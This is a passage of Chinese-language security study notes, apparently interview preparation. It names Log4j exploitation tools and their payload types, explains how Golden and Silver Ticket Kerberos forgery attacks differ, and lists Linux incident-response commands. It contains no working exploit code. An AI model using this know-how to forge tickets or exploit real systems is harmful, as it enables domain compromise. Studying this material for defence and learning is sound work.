类,从而执行攻击者的代码。 - log4j 漏洞的利用工具或脚本有很多,例如marshalsec, ysoserial, log4shell等,它们可以帮助攻击者生成恶意的JNDI引用或利用类,并提供一些常见的攻击载荷,如反弹shell, 文件读写, 命令执行等。
黄金票据和白银票据的区别
黄金票据和白银票据是两种利用 Kerberos 认证的票据传递攻击(PtT)方法。它们的原理和区别如下:
- 黄金票据是伪造
TGT
(门票发放票),而白银票据则是伪造ST
(门票)。 - 黄金票据需要获取域内
krbtgt
用户的密码哈希值,而白银票据需要获取域内服务账号的密码哈希值。 - 黄金票据可以访问域内的任意资源,而白银票据只能访问指定服务的部分资源,如 cifs(文件共享服务),mssql ,winrm ( Windows 远程管理),DNS 等等。
- 黄金票据需要与 KDC(密钥分发中心)进行交互,而白银票据不需要,因此白银票据更加隐蔽。
- 黄金票据可以伪造任意用户,即使其不存在或被禁用,而白银票据只能伪造存在的用户。
Linux应急响应相关
关键目录
常用命令
- 查找进程资源占用:
top
- 查看进程:
ps -aux
- 查看网络连接:
netstat -antpl
- 根据 PID 查看其对应执行程序位置:
ls -alh /proc/pid
- 查看开放端口的进程:
lsof -i:port
- 显示错误的尝试登录信息:
lastb
- 显示系统和用户最近的登录信息:
last
- 显示所用的用户最近的登录信息:
lastlog
- 查看定时任务:
crontab -l
、cat /etc/crontab
- 查看历史命令:
history
、cat ~/.bash_history
- 查看文件详细信息:
stat